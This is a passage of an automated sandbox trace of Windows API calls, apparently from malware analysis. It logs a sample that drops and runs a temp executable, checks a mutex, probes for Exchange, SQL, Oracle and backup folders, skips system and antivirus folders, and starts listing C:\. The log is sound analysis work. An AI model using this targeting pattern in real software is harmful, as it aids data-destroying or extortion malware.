(pMem=0x54c960) returned 0x44000c [0039.873] GlobalUnlock (hMem=0x44000c) returned 0 [0039.873] GlobalHandle (pMem=0x51f100) returned 0x440004 [0039.873] GlobalUnlock (hMem=0x440004) returned 0 [0039.873] RegCloseKey (hKey=0x170) returned 0x0 [0039.873] GlobalLock (hMem=0x440004) returned 0x54c960 [0039.873] GlobalHandle (pMem=0x54c960) returned 0x440004 [0039.873] GlobalUnlock (hMem=0x440004) returned 0 [0039.873] GlobalLock (hMem=0x440004) returned 0x54c960 [0039.873] GlobalLock (hMem=0x44000c) returned 0x51f100 [0039.873] GlobalHandle (pMem=0x54c960) returned 0x440004 [0039.873] GlobalUnlock (hMem=0x440004) returned 0 [0039.873] GlobalHandle (pMem=0x51f100) returned 0x44000c [0039.873] GlobalUnlock (hMem=0x44000c) returned 0 [0039.874] GetEnvironmentVariableA (in: lpName="temp", lpBuffer=0x18fa14, nSize=0x400 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0039.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dfe8f8, cbMultiByte=49, lpWideCharStr=0x18ee10, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\$TMP$001.exe") returned 49 [0039.875] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\$TMP$001.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\$tmp$001.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0039.906] WriteFile (in: hFile=0x170, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0xd200, lpNumberOfBytesWritten=0x18fe04, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18fe04*=0xd200, lpOverlapped=0x0) returned 1 [0039.908] CloseHandle (hObject=0x170) returned 1 [0039.910] WinExec (lpCmdLine="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\$TMP$001.exe", uCmdShow=0x1) returned 0x21 [0040.528] GetTickCount () returned 0x1153c07 [0040.528] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4044d8, lpParameter=0x1e61b80, dwCreationFlags=0x0, lpThreadId=0x18fe10 | out: lpThreadId=0x18fe10*=0xa70) returned 0x170 [0040.529] GetTickCount () returned 0x1153c07 [0040.529] Sleep (dwMilliseconds=0x1) [0040.541] GetTickCount () returned 0x1153c17 [0040.541] Sleep (dwMilliseconds=0x1) [0040.563] GetTickCount () returned 0x1153c36 [0040.563] Sleep (dwMilliseconds=0x1) [0040.579] GetTickCount () returned 0x1153c46 [0040.579] Sleep (dwMilliseconds=0x1) [0040.602] GetTickCount () returned 0x1153c55 [0040.602] Sleep (dwMilliseconds=0x1) [0040.609] CloseHandle (hObject=0x170) returned 1 [0040.609] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61b88, cbMultiByte=3, lpWideCharStr=0x18ee00, cchWideChar=2047 | out: lpWideCharStr="C:\\") returned 3 [0040.609] GlobalLock (hMem=0x44000c) returned 0x54c960 [0040.609] GlobalHandle (pMem=0x54c960) returned 0x44000c [0040.609] GlobalUnlock (hMem=0x44000c) returned 0 [0040.609] GlobalLock (hMem=0x44000c) returned 0x54c960 [0040.610] GlobalLock (hMem=0x440004) returned 0x51f100 [0040.610] GlobalHandle (pMem=0x54c960) returned 0x44000c [0040.610] GlobalUnlock (hMem=0x44000c) returned 0 [0040.610] GlobalHandle (pMem=0x51f100) returned 0x440004 [0040.610] GlobalUnlock (hMem=0x440004) returned 0 [0040.610] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0040.610] SysReAllocStringLen (in: pbstr=0x18fe04*=0x0, psz="C:\\", len=0x3 | out: pbstr=0x18fe04*="C:\\") returned 1 [0040.610] GlobalLock (hMem=0x440004) returned 0x54c960 [0040.610] GlobalHandle (pMem=0x54c960) returned 0x440004 [0040.610] GlobalUnlock (hMem=0x440004) returned 0 [0040.610] GlobalLock (hMem=0x440004) returned 0x54c960 [0040.610] GlobalLock (hMem=0x44000c) returned 0x51f100 [0040.610] GlobalHandle (pMem=0x54c960) returned 0x440004 [0040.610] GlobalUnlock (hMem=0x440004) returned 0 [0040.610] GlobalHandle (pMem=0x51f100) returned 0x44000c [0040.610] GlobalUnlock (hMem=0x44000c) returned 0 [0040.610] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18eacc, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\") returned 26 [0040.610] FindFirstFileW (in: lpFileName="C:\\Microsoft\\Exchange Server", lpFindFileData=0x18f880 | out: lpFindFileData=0x18f880*(dwFileAttributes=0x7758a3c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x51f100, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69700, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@㵎Q㴢Q企@ﭰ\x18㲌Q︌\x18\x1b")) returned 0xffffffff [0040.610] GetLastError () returned 0x3 [0040.610] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0040.611] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18ea84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0040.611] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18eacc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\") returned 21 [0040.611] FindFirstFileW (in: lpFileName="C:\\Microsoft SQL Server", lpFindFileData=0x18f880 | out: lpFindFileData=0x18f880*(dwFileAttributes=0x7758a3c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x51f100, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69700, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䐜S䱠@㴜Q企@ﭰ\x18간Q︌\x181")) returned 0xffffffff [0040.611] GetLastError () returned 0x2 [0040.611] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0040.611] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18ea84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0040.611] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18eacc, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\") returned 9 [0040.611] FindFirstFileW (in: lpFileName="C:\\Firebird", lpFindFileData=0x18f880 | out: lpFindFileData=0x18f880*(dwFileAttributes=0x7758a3c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x51f100, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69700, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䐜S䱠@㲌Q企@ﭰ\x18䑄S︌\x18;")) returned 0xffffffff [0040.612] GetLastError () returned 0x2 [0040.612] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0040.612] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69720, cbMultiByte=9, lpWideCharStr=0x18ea84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0040.612] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18eacc, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\") returned 8 [0040.612] FindFirstFileW (in: lpFileName="C:\\MSSQL.1", lpFindFileData=0x18f880 | out: lpFindFileData=0x18f880*(dwFileAttributes=0x7758a3c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x51f100, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69700, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䐜S䱠@䔌S企@ﭰ\x18䕜S︌\x18D")) returned 0xffffffff [0040.612] GetLastError () returned 0x2 [0040.612] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0040.612] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69720, cbMultiByte=8, lpWideCharStr=0x18ea84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0040.612] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18eacc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0040.613] FindFirstFileW (in: lpFileName="C:\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18f880 | out: lpFindFileData=0x18f880*(dwFileAttributes=0x7758a3c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x51f100, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69700, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䐜S䱠@䑄S企@ﭰ\x18碜T︌\x18j")) returned 0xffffffff [0040.613] GetLastError () returned 0x2 [0040.613] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0040.613] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18ea84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0040.613] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18eacc, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0040.613] FindFirstFileW (in: lpFileName="C:\\Adobe", lpFindFileData=0x18f880 | out: lpFindFileData=0x18f880*(dwFileAttributes=0x7758a3c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x51f100, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69700, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䐜S䱠@丬R企@ﭰ\x18䔴S︌\x18q")) returned 0xffffffff [0040.613] GetLastError () returned 0x2 [0040.613] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0040.613] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69720, cbMultiByte=6, lpWideCharStr=0x18ea84, cchWideChar=2047 | out: lpWideCharStr="adobe\\碘Tð") returned 6 [0040.614] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18eacc, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0040.614] FindFirstFileW (in: lpFileName="C:\\Oracle", lpFindFileData=0x18f880 | out: lpFindFileData=0x18f880*(dwFileAttributes=0x7758a3c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x51f100, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69700, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䐜S䱠@䖄S企@ﭰ\x18䕜S︌\x18y")) returned 0xffffffff [0040.614] GetLastError () returned 0x2 [0040.614] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0040.614] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69720, cbMultiByte=7, lpWideCharStr=0x18ea84, cchWideChar=2047 | out: lpWideCharStr="oracle\\S ") returned 7 [0040.614] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18eacc, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0040.614] FindFirstFileW (in: lpFileName="C:\\Archive", lpFindFileData=0x18f880 | out: lpFindFileData=0x18f880*(dwFileAttributes=0x7758a3c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x51f100, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69700, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䐜S䱠@䔴S企@ﭰ\x18䑄S︌\x18\x81")) returned 0xffffffff [0040.614] GetLastError () returned 0x2 [0040.614] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0040.614] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69720, cbMultiByte=7, lpWideCharStr=0x18ea84, cchWideChar=2047 | out: lpWideCharStr="archiveS ") returned 7 [0040.615] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18eacc, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0040.615] FindFirstFileW (in: lpFileName="C:\\Backup", lpFindFileData=0x18f880 | out: lpFindFileData=0x18f880*(dwFileAttributes=0x7758a3c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x51f100, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69700, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䐜S䱠@䕜S企@ﭰ\x18䖄S︌\x18\x88")) returned 0xffffffff [0040.615] GetLastError () returned 0x2 [0040.615] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0040.615] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69720, cbMultiByte=6, lpWideCharStr=0x18ea84, cchWideChar=2047 | out: lpWideCharStr="backup䑀S ") returned 6 [0040.615] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18eacc, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0040.615] FindFirstFileW (in: lpFileName="C:\\Reserv", lpFindFileData=0x18f880 | out: lpFindFileData=0x18f880*(dwFileAttributes=0x7758a3c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x51f100, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69700, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䐜S䱠@䑄S企@ﭰ\x18䔴S︌\x18\x8f")) returned 0xffffffff [0040.615] GetLastError () returned 0x2 [0040.615] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0040.615] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69720, cbMultiByte=6, lpWideCharStr=0x18ea84, cchWideChar=2047 | out: lpWideCharStr="reserv䖀S ") returned 6 [0040.616] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18eacc, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0040.616] FindFirstFileW (in: lpFileName="C:\\Restore", lpFindFileData=0x18f880 | out: lpFindFileData=0x18f880*(dwFileAttributes=0x7758a3c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x51f100, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69700, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䐜S䱠@䖄S企@ﭰ\x18䕜S︌\x18\x97")) returned 0xffffffff [0040.616] GetLastError () returned 0x2 [0040.616] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0040.616] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69720, cbMultiByte=7, lpWideCharStr=0x18ea84, cchWideChar=2047 | out: lpWideCharStr="restoreS ") returned 7 [0040.616] GlobalLock (hMem=0x44000c) returned 0x54c960 [0040.616] GlobalHandle (pMem=0x54c960) returned 0x44000c [0040.616] GlobalUnlock (hMem=0x44000c) returned 0 [0040.616] GlobalLock (hMem=0x44000c) returned 0x54c960 [0040.616] GlobalLock (hMem=0x440004) returned 0x51f100 [0040.616] GlobalHandle (pMem=0x54c960) returned 0x44000c [0040.616] GlobalUnlock (hMem=0x44000c) returned 0 [0040.616] GlobalHandle (pMem=0x51f100) returned 0x440004 [0040.616] GlobalUnlock (hMem=0x440004) returned 0 [0040.616] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0040.617] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18f67c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0040.617] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18ea7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0040.617] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0040.617] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18f67c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0040.617] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18ea7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0040.617] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0040.617] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18f67c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0040.617] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a708, cbMultiByte=15, lpWideCharStr=0x18ea7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0040.617] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0040.617] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18f67c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0040.617] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69840, cbMultiByte=11, lpWideCharStr=0x18ea7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0040.617] GlobalLock (hMem=0x440004) returned 0x54c960 [0040.617] GlobalHandle (pMem=0x54c960) returned 0x440004 [0040.617] GlobalUnlock (hMem=0x440004) returned 0 [0040.618] GlobalLock (hMem=0x440004) returned 0x54c960 [0040.618] GlobalLock (hMem=0x44000c) returned 0x51f100 [0040.618] GlobalHandle (pMem=0x54c960) returned 0x440004 [0040.618] GlobalUnlock (hMem=0x440004) returned 0 [0040.618] GlobalHandle (pMem=0x51f100) returned 0x44000c [0040.618] GlobalUnlock (hMem=0x44000c) returned 0 [0040.618] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0040.618] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a708, cbMultiByte=15, lpWideCharStr=0x18ea84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0040.618] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0040.618] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69720, cbMultiByte=11, lpWideCharStr=0x18ea84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0040.618] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0040.618] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69720, cbMultiByte=9, lpWideCharStr=0x18ea84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0040.618] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0040.618] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a708, cbMultiByte=18, lpWideCharStr=0x18ea84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0040.619] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0040.619] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18ea84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0040.619] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0040.619] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69720, cbMultiByte=10, lpWideCharStr=0x18ea84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0040.619] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0040.619] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69720, cbMultiByte=8, lpWideCharStr=0x18ea84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0040.619] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0040.619] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69720, cbMultiByte=9, lpWideCharStr=0x18ea84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0040.619] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0040.620] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a708, cbMultiByte=13, lpWideCharStr=0x18ea84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0040.620] GlobalLock (hMem=0x44000c) returned 0x54c960 [0040.620] GlobalHandle (pMem=0x54c960) returned 0x44000c [0040.620] GlobalUnlock (hMem=0x44000c) returned 0 [0040.620] GlobalLock (hMem=0x44000c) returned 0x54c960 [0040.620] GlobalLock (hMem=0x440004) returned 0x51f100 [0040.620] GlobalHandle (pMem=0x54c960) returned 0x44000c [0040.620] GlobalUnlock (hMem=0x44000c) returned 0 [0040.620] GlobalHandle (pMem=0x51f100) returned 0x440004 [0040.620] GlobalUnlock (hMem=0x440004) returned 0 [0040.620] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61bb8, cbMultiByte=3, lpWideCharStr=0x18ead8, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\") returned 3 [0040.620] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x526178 [0040.620] FindNextFileW (in: hFindFile=0x526178, lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0040.620] FindNextFileW (in: hFindFile=0x526178, lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0040.620] FileTimeToLocalFileTime (in: 